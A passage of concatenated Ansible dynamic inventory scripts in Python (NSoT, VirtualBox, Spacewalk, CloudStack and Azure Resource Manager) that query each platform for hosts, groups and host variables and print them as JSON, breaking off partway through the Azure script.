        # and also acquire attributes in this step
        for host in devices['data']['devices']:
            # Iterate through each device that matches query, assign hostname
            # to the group's hosts array and then use this single iteration as
            # a chance to update self._meta which will be used in the final
            # return
            hostname = host['hostname']
            obj[group]['hosts'].append(hostname)
            attributes = host['attributes']
            attributes.update({'site_id': host['site_id'], 'id': host['id']})
            self._meta['hostvars'].update({hostname: attributes})

        return obj


def parse_args():
    desc = __doc__.splitlines()[4]  # Just to avoid being redundant

    # Establish parser with options and error out if no action provided
    parser = argparse.ArgumentParser(
        description=desc,
        conflict_handler='resolve',
    )

    # Arguments
    #
    # Currently accepting (--list | -l) and (--host | -h)
    # These must not be allowed together
    parser.add_argument(
        '--list', '-l',
        help='Print JSON object containing hosts to STDOUT',
        action='store_true',
        dest='list_',  # Avoiding syntax highlighting for list
    )

    parser.add_argument(
        '--host', '-h',
        help='Print JSON object containing hostvars for <host>',
        action='store',
    )
    args = parser.parse_args()

    if not args.list_ and not args.host:  # Require at least one option
        parser.exit(status=1, message='No action requested')

    if args.list_ and args.host:  # Do not allow multiple options
        parser.exit(status=1, message='Too many actions requested')

    return args


def main():
    '''Set up argument handling and callback routing'''
    args = parse_args()
    client = NSoTInventory()

    # Callback condition
    if args.list_:
        print(client.do_list())
    elif args.host:
        print(client.do_host(args.host))

if __name__ == '__main__':
    main()






#!/usr/bin/env python

# This file is part of Ansible,
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

import sys
from subprocess import Popen,PIPE

try:
    import json
except ImportError:
    import simplejson as json

class SetEncoder(json.JSONEncoder):
   def default(self, obj):
      if isinstance(obj, set):
         return list(obj)
      return json.JSONEncoder.default(self, obj)

VBOX="VBoxManage"


def get_hosts(host=None):

    returned = {}
    try:
        if host:
            p = Popen([VBOX, 'showvminfo', host], stdout=PIPE)
        else:
            returned = { 'all': set(), '_metadata': {}  }
            p = Popen([VBOX, 'list', '-l', 'vms'], stdout=PIPE)
    except:
        sys.exit(1)

    hostvars = {}
    prevkey = pref_k = ''

    for line in p.stdout.readlines():

        try:
            k,v = line.split(':',1)
        except:
            continue

        if k == '':
            continue

        v = v.strip()
        if k.startswith('Name'):
            if v not in hostvars:
                curname = v
                hostvars[curname] = {}
                try: # try to get network info
                    x = Popen([VBOX, 'guestproperty', 'get', curname,"/VirtualBox/GuestInfo/Net/0/V4/IP"],stdout=PIPE)
                    ipinfo = x.stdout.read()
                    if 'Value' in ipinfo:
                        a,ip = ipinfo.split(':',1)
                        hostvars[curname]['ansible_ssh_host'] = ip.strip()
                except:
                    pass

            continue

        if not host:
            if k == 'Groups':
                for group in v.split('/'):
                    if group:
                        if group not in returned:
                            returned[group] = set()
                        returned[group].add(curname)
                    returned['all'].add(curname)
                continue

        pref_k = 'vbox_' + k.strip().replace(' ','_')
        if k.startswith(' '):
            if prevkey not in hostvars[curname]:
                hostvars[curname][prevkey] = {}
            hostvars[curname][prevkey][pref_k]= v
        else:
            if v != '':
                hostvars[curname][pref_k] = v

        prevkey = pref_k

    if not host:
        returned['_metadata']['hostvars'] = hostvars
    else:
        returned = hostvars[host]
    return returned


if __name__ == '__main__':

    inventory = {}
    hostname = None

    if len(sys.argv) > 1:
        if sys.argv[1] == "--host":
            hostname = sys.argv[2]

    if hostname:
        inventory = get_hosts(hostname)
    else:
        inventory = get_hosts()

    sys.stdout.write(json.dumps(inventory, indent=2, cls=SetEncoder))






#!/bin/env python

"""
Spacewalk external inventory script
=================================

Ansible has a feature where instead of reading from /etc/ansible/hosts
as a text file, it can query external programs to obtain the list
of hosts, groups the hosts are in, and even variables to assign to each host.

To use this, copy this file over /etc/ansible/hosts and chmod +x the file.
This, more or less, allows you to keep one central database containing
info about all of your managed instances.

This script is dependent upon the spacealk-reports package being installed
on the same machine. It is basically a CSV-to-JSON converter from the
output of "spacewalk-report system-groups-systems|inventory".

Tested with Ansible 1.9.2 and spacewalk 2.3
"""
# 
# Author:: Jon Miller <jonEbird@gmail.com>
# Copyright:: Copyright (c) 2013, Jon Miller
# 
# Extended for support of multiple organizations and
# adding the "_meta" dictionary to --list output by
# Bernhard Lichtinger <bernhard.lichtinger@lrz.de> 2015
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 2 of the License, or (at
# your option) any later version.
# 
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.
# 
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
# 

from __future__ import print_function

import sys
import os
import time
from optparse import OptionParser
import subprocess
import ConfigParser

from six import iteritems

try:
    import json
except:
    import simplejson as json

base_dir  = os.path.dirname(os.path.realpath(__file__))
SW_REPORT = '/usr/bin/spacewalk-report'
CACHE_DIR = os.path.join(base_dir, ".spacewalk_reports")
CACHE_AGE = 300 # 5min
INI_FILE = os.path.join(base_dir, "spacewalk.ini")

    # Sanity check
if not os.path.exists(SW_REPORT):
    print('Error: %s is required for operation.' % (SW_REPORT), file=sys.stderr)
    sys.exit(1)

# Pre-startup work
if not os.path.exists(CACHE_DIR):
    os.mkdir(CACHE_DIR)
    os.chmod(CACHE_DIR, 0o2775)

# Helper functions
#------------------------------

def spacewalk_report(name):
    """Yield a dictionary form of each CSV output produced by the specified
    spacewalk-report
    """
    cache_filename = os.path.join(CACHE_DIR, name)
    if not os.path.exists(cache_filename) or \
            (time.time() - os.stat(cache_filename).st_mtime) > CACHE_AGE:
        # Update the cache
        fh = open(cache_filename, 'w')
        p = subprocess.Popen([SW_REPORT, name], stdout=fh)
        p.wait()
        fh.close()

    lines = open(cache_filename, 'r').readlines()
    keys = lines[0].strip().split(',')
    # add 'spacewalk_' prefix to the keys
    keys = [ 'spacewalk_' + key for key in keys ]
    for line in lines[1:]:
        values = line.strip().split(',')
        if len(keys) == len(values):
            yield dict(zip(keys, values))


# Options
#------------------------------

parser = OptionParser(usage="%prog [options] --list | --host <machine>")
parser.add_option('--list', default=False, dest="list", action="store_true",
                  help="Produce a JSON consumable grouping of servers for Ansible")
parser.add_option('--host', default=None, dest="host",
                  help="Generate additional host specific details for given host for Ansible")
parser.add_option('-H', '--human', dest="human",
                  default=False, action="store_true",
                  help="Produce a friendlier version of either server list or host detail")
parser.add_option('-o', '--org', default=None, dest="org_number", 
		  help="Limit to spacewalk organization number")
parser.add_option('-p', default=False, dest="prefix_org_name", action="store_true",
		  help="Prefix the group name with the organization number")
(options, args) = parser.parse_args()


# read spacewalk.ini if present
#------------------------------
if os.path.exists(INI_FILE):
    config = ConfigParser.SafeConfigParser()
    config.read(INI_FILE)
    if config.has_option('spacewalk' , 'cache_age'):
        CACHE_AGE = config.get('spacewalk' , 'cache_age')
    if not options.org_number and config.has_option('spacewalk' , 'org_number'):
        options.org_number = config.get('spacewalk' , 'org_number')
    if not options.prefix_org_name and config.has_option('spacewalk' , 'prefix_org_name'):
        options.prefix_org_name = config.getboolean('spacewalk' , 'prefix_org_name')


# Generate dictionary for mapping group_id to org_id
#------------------------------
org_groups = {}
try:
	for group in spacewalk_report('system-groups'):
	    org_groups[group['spacewalk_group_id']] = group['spacewalk_org_id']

except (OSError) as e:
	print('Problem executing the command "%s system-groups": %s' %
          (SW_REPORT, str(e)), file=sys.stderr)
	sys.exit(2)


# List out the known server from Spacewalk
#------------------------------
if options.list:

    # to build the "_meta"-Group with hostvars first create dictionary for later use
    host_vars = {}
    try:
        for item in spacewalk_report('inventory'):
            host_vars[ item['spacewalk_profile_name'] ] = dict( ( key, ( value.split(';') if ';' in value else value) ) for key, value in item.items() )

    except (OSError) as e:
        print('Problem executing the command "%s inventory": %s' %
              (SW_REPORT, str(e)), file=sys.stderr)
        sys.exit(2)

    groups = {}
    meta = { "hostvars" : {} }
    try:
        for system in spacewalk_report('system-groups-systems'):
            # first get org_id of system
            org_id =  org_groups[ system['spacewalk_group_id'] ]

            # shall we add the org_id as prefix to the group name:
            if options.prefix_org_name:
                prefix = org_id + "-"
                group_name = prefix + system['spacewalk_group_name']
            else:
                group_name = system['spacewalk_group_name']

            # if we are limited to one organization:
            if options.org_number:
                if org_id == options.org_number:
                    if group_name not in groups:
                        groups[group_name] = set()

                    groups[group_name].add(system['spacewalk_server_name'])
                    if system['spacewalk_server_name'] in host_vars and not system['spacewalk_server_name'] in meta[ "hostvars" ]:
                        meta[ "hostvars" ][ system['spacewalk_server_name'] ] = host_vars[ system['spacewalk_server_name'] ]
            # or we list all groups and systems:
            else:
                if group_name not in groups:
                    groups[group_name] = set()

                groups[group_name].add(system['spacewalk_server_name'])
                if system['spacewalk_server_name'] in host_vars and not system['spacewalk_server_name'] in meta[ "hostvars" ]:
                        meta[ "hostvars" ][ system['spacewalk_server_name'] ] = host_vars[ system['spacewalk_server_name'] ]

    except (OSError) as e:
        print('Problem executing the command "%s system-groups-systems": %s' %
              (SW_REPORT, str(e)), file=sys.stderr)
        sys.exit(2)

    if options.human:
        for group, systems in iteritems(groups):
            print('[%s]\n%s\n' % (group, '\n'.join(systems)))
    else:
        final = dict( [ (k, list(s)) for k, s in iteritems(groups) ] )
        final["_meta"] = meta
        print(json.dumps( final ))
        #print(json.dumps(groups))
    sys.exit(0)


# Return a details information concerning the spacewalk server
#------------------------------
elif options.host:

    host_details = {}
    try:
        for system in spacewalk_report('inventory'):
            if system['spacewalk_hostname'] == options.host:
                host_details = system
                break

    except (OSError) as e:
        print('Problem executing the command "%s inventory": %s' %
              (SW_REPORT, str(e)), file=sys.stderr)
        sys.exit(2)
    
    if options.human:
        print('Host: %s' % options.host)
        for k, v in iteritems(host_details):
            print('  %s: %s' % (k, '\n    '.join(v.split(';'))))
    else:
        print( json.dumps( dict( ( key, ( value.split(';') if ';' in value else value) ) for key, value in host_details.items() ) ) )
    sys.exit(0)

else:

    parser.print_help()
    sys.exit(1)






#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# (c) 2015, René Moser <mail@renemoser.net>
#
# This file is part of Ansible,
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

######################################################################

"""
Ansible CloudStack external inventory script.
=============================================

Generates Ansible inventory from CloudStack. Configuration is read from
'cloudstack.ini'. If you need to pass the project, write a simple wrapper
script, e.g. project_cloudstack.sh:

  #!/bin/bash
  cloudstack.py --project <your_project> $@


When run against a specific host, this script returns the following attributes
based on the data obtained from CloudStack API:

  "web01": {
    "cpu_number": 2,
    "nic": [
      {
        "ip": "10.102.76.98",
        "mac": "02:00:50:99:00:01",
        "type": "Isolated",
        "netmask": "255.255.255.0",
        "gateway": "10.102.76.1"
      },
      {
        "ip": "10.102.138.63",
        "mac": "06:b7:5a:00:14:84",
        "type": "Shared",
        "netmask": "255.255.255.0",
        "gateway": "10.102.138.1"
      }
    ],
    "default_ip": "10.102.76.98",
    "zone": "ZUERICH",
    "created": "2014-07-02T07:53:50+0200",
    "hypervisor": "VMware",
    "memory": 2048,
    "state": "Running",
    "tags": [],
    "cpu_speed": 1800,
    "affinity_group": [],
    "service_offering": "Small",
    "cpu_used": "62%"
  }


usage: cloudstack.py [--list] [--host HOST] [--project PROJECT]
"""

from __future__ import print_function

import os
import sys
import argparse

try:
    import json
except:
    import simplejson as json


try:
    from cs import CloudStack, CloudStackException, read_config
except ImportError:
    print("Error: CloudStack library must be installed: pip install cs.",
          file=sys.stderr)
    sys.exit(1)


class CloudStackInventory(object):
    def __init__(self):

        parser = argparse.ArgumentParser()
        parser.add_argument('--host')
        parser.add_argument('--list', action='store_true')
        parser.add_argument('--project')

        options = parser.parse_args()
        try:
            self.cs = CloudStack(**read_config())
        except CloudStackException as e:
            print("Error: Could not connect to CloudStack API", file=sys.stderr)

        project_id = ''
        if options.project:
            project_id = self.get_project_id(options.project)

        if options.host:
            data = self.get_host(options.host, project_id)
            print(json.dumps(data, indent=2))

        elif options.list:
            data = self.get_list(project_id)
            print(json.dumps(data, indent=2))
        else:
            print("usage: --list | --host <hostname> [--project <project>]",
                  file=sys.stderr)
            sys.exit(1)


    def get_project_id(self, project):
        projects = self.cs.listProjects()
        if projects:
            for p in projects['project']:
                if p['name'] == project or p['id'] == project:
                    return p['id']
        print("Error: Project %s not found." % project, file=sys.stderr)
        sys.exit(1)


    def get_host(self, name, project_id=''):
        hosts = self.cs.listVirtualMachines(projectid=project_id)
        data = {}
        if not hosts:
            return data
        for host in hosts['virtualmachine']:
            host_name = host['displayname']
            if name == host_name:
                data['zone'] = host['zonename']
                if 'group' in host:
                    data['group'] = host['group']
                data['state'] = host['state']
                data['service_offering'] = host['serviceofferingname']
                data['affinity_group'] = host['affinitygroup']
                data['security_group'] = host['securitygroup']
                data['cpu_number'] = host['cpunumber']
                data['cpu_speed'] = host['cpuspeed']
                if 'cpuused' in host:
                    data['cpu_used'] = host['cpuused']
                data['memory'] = host['memory']
                data['tags'] = host['tags']
                data['hypervisor'] = host['hypervisor']
                data['created'] = host['created']
                data['nic'] = []
                for nic in host['nic']:
                    data['nic'].append({
                        'ip': nic['ipaddress'],
                        'mac': nic['macaddress'],
                        'netmask': nic['netmask'],
                        'gateway': nic['gateway'],
                        'type': nic['type'],
                    })
                    if nic['isdefault']:
                        data['default_ip'] = nic['ipaddress']
                break;
        return data


    def get_list(self, project_id=''):
        data = {
            'all': {
                'hosts': [],
                },
            '_meta': {
                'hostvars': {},
                },
            }

        groups = self.cs.listInstanceGroups(projectid=project_id)
        if groups:
            for group in groups['instancegroup']:
                group_name = group['name']
                if group_name and not group_name in data:
                    data[group_name] = {
                            'hosts': []
                        }

        hosts = self.cs.listVirtualMachines(projectid=project_id)
        if not hosts:
            return data
        for host in hosts['virtualmachine']:
            host_name = host['displayname']
            data['all']['hosts'].append(host_name)
            data['_meta']['hostvars'][host_name] = {}
            data['_meta']['hostvars'][host_name]['zone'] = host['zonename']
            if 'group' in host:
                data['_meta']['hostvars'][host_name]['group'] = host['group']
            data['_meta']['hostvars'][host_name]['state'] = host['state']
            data['_meta']['hostvars'][host_name]['service_offering'] = host['serviceofferingname']
            data['_meta']['hostvars'][host_name]['affinity_group'] = host['affinitygroup']
            data['_meta']['hostvars'][host_name]['security_group'] = host['securitygroup']
            data['_meta']['hostvars'][host_name]['cpu_number'] = host['cpunumber']
            data['_meta']['hostvars'][host_name]['cpu_speed'] = host['cpuspeed']
            if 'cpuused' in host:
                data['_meta']['hostvars'][host_name]['cpu_used'] = host['cpuused']
            data['_meta']['hostvars'][host_name]['created'] = host['created']
            data['_meta']['hostvars'][host_name]['memory'] = host['memory']
            data['_meta']['hostvars'][host_name]['tags'] = host['tags']
            data['_meta']['hostvars'][host_name]['hypervisor'] = host['hypervisor']
            data['_meta']['hostvars'][host_name]['created'] = host['created']
            data['_meta']['hostvars'][host_name]['nic'] = []
            for nic in host['nic']:
                data['_meta']['hostvars'][host_name]['nic'].append({
                    'ip': nic['ipaddress'],
                    'mac': nic['macaddress'],
                    'netmask': nic['netmask'],
                    'gateway': nic['gateway'],
                    'type': nic['type'],
                    })
                if nic['isdefault']:
                    data['_meta']['hostvars'][host_name]['default_ip'] = nic['ipaddress']

            group_name = ''
            if 'group' in host:
                group_name = host['group']

            if group_name and group_name in data:
                data[group_name]['hosts'].append(host_name)
        return data


if __name__ == '__main__':
    CloudStackInventory()






#!/usr/bin/env python
#
# Copyright (c) 2016 Matt Davis, <mdavis@ansible.com>
#                    Chris Houseknecht, <house@redhat.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#

'''
Azure External Inventory Script
===============================
Generates dynamic inventory by making API requests to the Azure Resource
Manager using the AAzure Python SDK. For instruction on installing the
Azure Python SDK see http://azure-sdk-for-python.readthedocs.org/

Authentication
--------------
The order of precedence is command line arguments, environment variables,
and finally the [default] profile found in ~/.azure/credentials.

If using a credentials file, it should be an ini formatted file with one or
more sections, which we refer to as profiles. The script looks for a 
[default] section, if a profile is not specified either on the command line
or with an environment variable. The keys in a profile will match the
list of command line arguments below.

For command line arguments and environment variables specify a profile found
in your ~/.azure/credentials file, or a service principal or Active Directory
user.

Command line arguments:
 - profile 
 - client_id
 - secret
 - subscription_id
 - tenant
 - ad_user
 - password

Environment variables:
 - AZURE_PROFILE
 - AZURE_CLIENT_ID
 - AZURE_SECRET
 - AZURE_SUBSCRIPTION_ID
 - AZURE_TENANT
 - AZURE_AD_USER
 - AZURE_PASSWORD

Run for Specific Host
-----------------------
When run for a specific host using the --host option, a resource group is 
required. For a specific host, this script returns the following variables:

{
  "ansible_host": "XXX.XXX.XXX.XXX",
  "computer_name": "computer_name2",
  "fqdn": null,
  "id": "/subscriptions/subscription-id/resourceGroups/galaxy-production/providers/Microsoft.Compute/virtualMachines/object-name",
  "image": {
    "offer": "CentOS",
    "publisher": "OpenLogic",
    "sku": "7.1",
    "version": "latest"
  },
  "location": "westus",
  "mac_address": "00-0D-3A-31-2C-EC",
  "name": "object-name",
  "network_interface": "interface-name",
  "network_interface_id": "/subscriptions/subscription-id/resourceGroups/galaxy-production/providers/Microsoft.Network/networkInterfaces/object-name1",
  "network_security_group": null,
  "network_security_group_id": null,
  "os_disk": {
    "name": "object-name",
    "operating_system_type": "Linux"
  },
  "plan": null,
  "powerstate": "running",
  "private_ip": "172.26.3.6",
  "private_ip_alloc_method": "Static",
  "provisioning_state": "Succeeded",
  "public_ip": "XXX.XXX.XXX.XXX",
  "public_ip_alloc_method": "Static",
  "public_ip_id": "/subscriptions/subscription-id/resourceGroups/galaxy-production/providers/Microsoft.Network/publicIPAddresses/object-name",
  "public_ip_name": "object-name",
  "resource_group": "galaxy-production",
  "security_group": "object-name",
  "security_group_id": "/subscriptions/subscription-id/resourceGroups/galaxy-production/providers/Microsoft.Network/networkSecurityGroups/object-name",
  "tags": {
      "db": "database"
  },
  "type": "Microsoft.Compute/virtualMachines",
  "virtual_machine_size": "Standard_DS4"
}

Groups
------
When run in --list mode, instances are grouped by the following categories:
 - azure
 - location
 - resource_group
 - security_group
 - tag key
 - tag key_value

Control groups using azure_rm.ini or set environment variables:

AZURE_GROUP_BY_RESOURCE_GROUP=yes
AZURE_GROUP_BY_LOCATION=yes
AZURE_GROUP_BY_SECURITY_GROUP=yes
AZURE_GROUP_BY_TAG=yes

Select hosts within specific resource groups by assigning a comma separated list to:

AZURE_RESOURCE_GROUPS=resource_group_a,resource_group_b

Select hosts for specific tag key by assigning a comma separated list of tag keys to:

AZURE_TAGS=key1,key2,key3

Select hosts for specific locations:

AZURE_LOCATIONS=eastus,westus,eastus2

Or, select hosts for specific tag key:value pairs by assigning a comma separated list key:value pairs to:

AZURE_TAGS=key1:value1,key2:value2

If you don't need the powerstate, you can improve performance by turning off powerstate fetching:
AZURE_INCLUDE_POWERSTATE=no

azure_rm.ini
------------
As mentioned above, you can control execution using environment variables or a .ini file. A sample
azure_rm.ini is included. The name of the .ini file is the basename of the inventory script (in this case
'azure_rm') with a .ini extension. It also assumes the .ini file is alongside the script. To specify
a different path for the .ini file, define the AZURE_INI_PATH environment variable:

  export AZURE_INI_PATH=/path/to/custom.ini

Powerstate:
-----------
The powerstate attribute indicates whether or not a host is running. If the value is 'running', the machine is
up. If the value is anything other than 'running', the machine is down, and will be unreachable.

Examples:
---------
  Execute /bin/uname on all instances in the galaxy-qa resource group
  $ ansible -i azure_rm.py galaxy-qa -m shell -a "/bin/uname -a"

  Use the inventory script to print instance specific information
  $ contrib/inventory/azure_rm.py --host my_instance_host_name --pretty

  Use with a playbook
  $ ansible-playbook -i contrib/inventory/azure_rm.py my_playbook.yml --limit galaxy-qa


Insecure Platform Warning
-------------------------
If you receive InsecurePlatformWarning from urllib3, install the
requests security packages:

    pip install requests[security]


author:
    - Chris Houseknecht (@chouseknecht)
    - Matt Davis (@nitzmahone)

Company: Ansible by Red Hat

Version: 1.0.0
'''

import argparse
import ConfigParser
import json
import os
import re
import sys

from distutils.version import LooseVersion

from os.path import expanduser

HAS_AZURE = True
HAS_AZURE_EXC = None

try:
    from msrestazure.azure_exceptions import CloudError
    from azure.mgmt.compute import __version__ as azure_compute_version
    from azure.common import AzureMissingResourceHttpError, AzureHttpError
    from azure.common.credentials import ServicePrincipalCredentials, UserPassCredentials
    from azure.mgmt.network.network_management_client import NetworkManagementClient
    from azure.mgmt.resource.resources.resource_management_client import ResourceManagementClient
    from azure.mgmt.compute.compute_management_client import ComputeManagementClient
except ImportError as exc:
    HAS_AZURE_EXC = exc
    HAS_AZURE = False


AZURE_CREDENTIAL_ENV_MAPPING = dict(
    profile='AZURE_PROFILE',
    subscription_id='AZURE_SUBSCRIPTION_ID',
    client_id='AZURE_CLIENT_ID',
    secret='AZURE_SECRET',
    tenant='AZURE_TENANT',
    ad_user='AZURE_AD_USER',
    password='AZURE_PASSWORD'
)

AZURE_CONFIG_SETTINGS = dict(
    resource_groups='AZURE_RESOURCE_GROUPS',
    tags='AZURE_TAGS',
    locations='AZURE_LOCATIONS',
    include_powerstate='AZURE_INCLUDE_POWERSTATE',
    group_by_resource_group='AZURE_GROUP_BY_RESOURCE_GROUP',
    group_by_location='AZURE_GROUP_BY_LOCATION',
    group_by_security_group='AZURE_GROUP_BY_SECURITY_GROUP',
    group_by_tag='AZURE_GROUP_BY_TAG'
)

AZURE_MIN_VERSION = "0.30.0rc5"


def azure_id_to_dict(id):
    pieces = re.sub(r'^\/', '', id).split('/')
    result = {}
    index = 0
    while index < len(pieces) - 1:
        result[pieces[index]] = pieces[index + 1]
        index += 1
    return result


class AzureRM(object):

    def __init__(self, args):
        self._args = args
        self._compute_client = None
        self._resource_client = None
        self._network_client = None

        self.debug = False
        if args.debug:
            self.debug = True

        self.credentials = self._get_credentials(args)
        if not self.credentials:
            self.fail("Failed to get credentials. Either pass as parameters, set environment variables, "
                      "or define a profile in ~/.azure/credentials.")

        if self.credentials.get('subscription_id', None) is None:
            self.fail("Credentials did not include a subscription_id value.")
        self.log("setting subscription_id")
        self.subscription_id = self.credentials['subscription_id']

        if self.credentials.get('client_id') is not None and \
           self.credentials.get('secret') is not None and \
           self.credentials.get('tenant') is not None:
            self.azure_credentials = ServicePrincipalCredentials(client_id=self.credentials['client_id'],
                                                                 secret=self.credentials['secret'],
                                                                 tenant=self.credentials['tenant'])
        elif self.credentials.get('ad_user') is not None and self.credentials.get('password') is not None:
            self.azure_credentials = UserPassCredentials(self.credentials['ad_user'], self.credentials['password'])
        else:
            self.fail("Failed to authenticate with provided credentials. Some attributes were missing. "
                      "Credentials must include client_id, secret and tenant or ad_user and password.")

    def log(self, msg):
        if self.debug:
            print (msg + u'\n')

    def fail(self, msg):
        raise Exception(msg)

    def _get_profile(self, profile="default"):
        path = expanduser("~")
        path += "/.azure/credentials"
        try:
            config = ConfigParser.ConfigParser()
            config.read(path)
        except Exception as exc:
            self.fail("Failed to access {0}. Check that the file exists and you have read "
                      "access. {1}".format(path, str(exc)))
        credentials = dict()
        for key in AZURE_CREDENTIAL_ENV_MAPPING:
            try:
                credentials[key] = config.get(profile, key, raw=True)
            except:
                pass

        if credentials.get('client_id') is not None or credentials.get('ad_user') is not None:
            return credentials

        return None

    def _get_env_credentials(self):
        env_credentials = dict()
        for attribute, env_variable in AZURE_CREDENTIAL_ENV_MAPPING.iteritems():
            env_credentials[attribute] = os.environ.get(env_variable, None)

        if env_credentials['profile'] is not None:
            credentials = self._get_profile(env_credentials['profile'])
            return credentials

        if env_credentials['client_id'] is not None or env_credentials['ad_user'] is not None:
            return env_credentials

        return None

    def _get_credentials(self, params):
        # Get authentication credentials.
        # Precedence: cmd line parameters-> environment variables-> default profile in ~/.azure/credentials.

        self.log('Getting credentials')

        arg_credentials = dict()
        for attribute, env_variable in AZURE_CREDENTIAL_ENV_MAPPING.iteritems():
            arg_credentials[attribute] = getattr(params, attribute)

        # try module params
        if arg_credentials['profile'] is not None:
            self.log('Retrieving credentials with profile parameter.')
            credentials = self._get_profile(arg_credentials['profile'])
            return credentials

        if arg_credentials['client_id'] is not None:
            self.log('Received credentials from parameters.')
            return arg_credentials

        # try environment
        env_credentials = self._get_env_credentials()
        if env_credentials:
            self.log('Received credentials from env.')
            return env_credentials

        # try default profile from ~./azure/credentials
        default_credentials = self._get_profile()
        if default_credentials:
            self.log('Retrieved default profile credentials from ~/.azure/credentials.')
            return default_credentials

        return None

    def _register(self, key):
        try:
            # We have to perform the one-time registration here. Otherwise, we receive an error the first
            # time we attempt to use the requested client.
            resource_client = self.rm_client
            resource_client.providers.register(key)
        except Exception as exc:
            self.fail("One-time registration of {0} failed - {1}".format(key, str(exc)))

    @property
    def network_client(self):
        self.log('Getting network client')
        if not self._network_client:
            self._network_client = NetworkManagementClient(self.azure_credentials, self.subscription_id)
            self._register('Microsoft.Network')
        return self._network_client

    @property
    def rm_client(self):
        self.log('Getting resource manager client')
        if not self._resource_client:
            self._resource_client = ResourceManagementClient(self.azure_credentials, self.subscription_id)
        return self._resource_client

    @property
    def compute_client(self):
        self.log('Getting compute client')
        if not self._compute_client:
            self._compute_client = ComputeManagementClient(self.azure_credentials, self.subscription_id)
            self._register('Microsoft.Compute')
        return self._compute_client


class AzureInventory(object):

    def __init__(self):

        self._args = self._parse_cli_args()

        try:
            rm = AzureRM(self._args)
        except Exception as e:
            sys.exit("{0}".format(str(e)))

        self._compute_client = rm.compute_client
        self._network_client = rm.network_client
        self._resource_client = rm.rm_client
        self._security_groups = None

        self.resource_groups = []
        self.tags = None
        self.locations = None
        self.replace_dash_in_groups = False
        self.group_by_resource_group = True
        self.group_by_location = True
        self.group_by_security_group = True
        self.group_by_tag = True
        self.include_powerstate = True

        self._inventory = dict(
            _meta=dict(
                hostvars=dict()
            ),
            azure=[]
        )

        self._get_settings()

        if self._args.resource_groups:
            self.resource_groups = self._args.resource_groups.split(',')

        if self._args.tags:
            self.tags = self._args.tags.split(',')

        if self._args.locations:
            self.locations = self._args.locations.split(',')

        if self._args.no_powerstate:
            self.include_powerstate = False

        self.get_inventory()
        print (self._json_format_dict(pretty=self._args.pretty))
        sys.exit(0)

    def _parse_cli_args(self):
        # Parse command line arguments
        parser = argparse.ArgumentParser(
                description='Produce an Ansible Inventory file for an Azure subscription')
        parser.add_argument('--list', action='store_true', default=True,
                           help='List instances (default: True)')
        parser.add_argument('--debug', action='store_true', default=False,
                           help='Send debug messages to STDOUT')
        parser.add_argument('--host', action='store',
                           help='Get all information about an instance')
        parser.add_argument('--pretty', action='store_true', default=False,
                           help='Pretty print JSON output(default: False)')
        parser.add_argument('--profile', action='store',
                            help='Azure profile contained in ~/.azure/credentials')
        parser.add_argument('--subscription_id', action='store',
                            help='Azure Subscription Id')
        parser.add_argument('--client_id', action='store',
                            help='Azure Client Id ')
        parser.add_argument('--secret', action='store',
                            help='Azure Client Secret')
        parser.add_argument('--tenant', action='store',
                            help='Azure Tenant Id')
        parser.add_argument('--ad-user', action='store',
                            help='Active Directory User')
        parser.add_argument('--password', action='store',
                            help='password')
        parser.add_argument('--resource-groups', action='store',
                            help='Return inventory for comma separated list of resource group names')
        parser.add_argument('--tags', action='store',
                            help='Return inventory for comma separated list of tag key:value pairs')
        parser.add_argument('--locations', action='store',
                            help='Return inventory for comma separated list of locations')
        parser.add_argument('--no-powerstate', action='store_true', default=False,
                            help='Do not include the power state of each virtual host')
        return parser.parse_args()

    def get_inventory(self):
        if len(self.resource_groups) > 0:
            # get VMs for requested resource groups
            for resource_group in self.resource_groups:
                try:
                    virtual_machines = self._compute_client.virtual_machines.list(resource_group)
                except Exception as exc:
                    sys.exit("Error: fetching virtual machines for resource group {0} - {1}".format(resource_group,
                                                                                                   str(exc)))
                if self._args.host or self.tags:
                    selected_machines = self._selected_machines(virtual_machines)
                    self._load_machines(selected_machines)
                else:
                    self._load_machines(virtual_machines)
        else:
            # get all VMs within the subscription
            try:
                virtual_machines = self._compute_client.virtual_machines.list_all()
            except Exception as exc:
                sys.exit("Error: fetching virtual machines - {0}".format(str(exc)))

            if self._args.host or self.tags or self.locations:
                selected_machines = self._selected_machines(virtual_machines)
                self._load_machines(selected_machines)
            else:
                self._load_machines(virtual_machines)

    def _load_machines(self, machines):
        for machine in machines:
            id_dict = azure_id_to_dict(machine.id)

            #TODO - The API is returning an ID value containing resource group name in ALL CAPS. If/when it gets
            #       fixed, we should remove the .lower(). Opened Issue
            #       #574: https://github.com/Azure/azure-sdk-for-python/issues/574
            resource_group = id_dict['resourceGroups'].lower()

            if self.group_by_security_group:
                self._get_security_groups(resource_group)

            host_vars = dict(
                ansible_host=None,
                private_ip=None,
                private_ip_alloc_method=None,
                public_ip=None,
